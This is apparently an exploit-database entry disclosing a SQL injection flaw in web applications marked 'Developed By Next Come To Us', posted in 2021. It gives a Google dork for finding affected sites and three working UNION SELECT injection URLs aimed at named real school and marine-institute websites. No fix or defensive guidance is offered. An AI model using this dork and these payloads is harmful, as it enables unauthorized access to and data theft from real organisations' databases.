Developed By Next Come To Us - Sql Injection Vulnerability

2021.09.20

behrouz mansoori (IR)

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

Dork: "Developed By Next Come To Us"

*********************************************************
#Exploit Title: Developed By Next Come To Us -  Sql Injection Vulnerability
#Date: 2021-09-20
#Exploit Author: Behrouz Mansoori
#Google Dork: "Developed By Next Come To Us"
#Category:webapps
#Tested On: windows 10, Firefox
 
 
Proof of Concept:
Search google Dork: "Developed By Next Come To Us"


### Demo :

https://www.cmcischool.com/single-event.php?id=-145%27%20union%20select%201,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17--+

https://www.cmcmarine.in/event-details.php?id=-164%27%20union%20select%201,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17--+

https://www.cmcmmct.com/single-event.php?id=-122%27%20UNION%20SELECT%201,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17--+

********************************************************* 
#Discovered by: Behrouz mansoori
#Instagram: Behrouz_mansoori
#Email: mr.mansoori@yahoo.com
*********************************************************

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Developed By Next Come To Us - Sql Injection Vulnerability

Dork: "Developed By Next Come To Us"

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.